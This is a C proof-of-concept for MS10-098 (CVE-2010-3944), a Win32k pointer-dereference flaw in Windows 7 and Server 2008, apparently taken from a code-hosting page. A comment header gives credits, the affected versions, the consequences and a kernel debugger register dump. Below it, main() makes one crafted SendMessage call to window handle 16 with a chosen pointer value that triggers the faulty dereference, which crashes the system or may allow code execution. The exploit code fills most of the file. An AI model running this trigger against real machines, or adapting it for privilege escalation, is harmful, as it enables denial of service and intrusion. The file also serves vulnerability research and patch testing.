47 lines
No EOL
1.4 KiB
C
47 lines
No EOL
1.4 KiB
C
/*************************************************************************************
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* MS10-098
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* CVE-2010-3944
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*
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* Microsoft Windows Win32k pointer dereferencement
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*
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* --------------------
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* Affected Software
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* ------------------------
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* Microsoft Windows 7 / 2008
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*
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*
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* --------------------
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* Consequences
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* -----------------------
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* An unprivileged user may be able to cause a bugcheck, or possibly execute
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* arbitrary code by CSRSS.EXE.
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*
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*
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*
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* Credits : Stefan LE BERRE (s.leberre@sysdream.com)
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* Ludo t0ka7a
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*
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* WebSites : http://www.sysdream.com/
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* http://ghostsinthestack.org/
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* http://infond.blogspot.com/
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* http://twitter.com/hackinparis
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*
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* kd> r
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* eax=00013370 ebx=0000000d ecx=00000000 edx=fea0069c esi=fea00618 edi=fea00618
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* eip=8d72af90 esp=95b54a98 ebp=95b54b00 iopl=0 nv up ei ng nz na pe nc
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* cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286
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* win32k!xxxRealDefWindowProc+0xf6:
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* 8d72af90 c60000 mov byte ptr [eax],0 ds:0023:00013370=??
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*
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*************************************************************************************/
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#include <stdio.h>
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#include <windows.h>
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#include <Winuser.h>
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int main(int argc, char *argv[])
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{
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SendMessage((HWND) 16,(UINT) 13,0x80000000,0x00013370); // 0x13370 is the deref and 16 is the window handle of #32769
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return 0;
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} |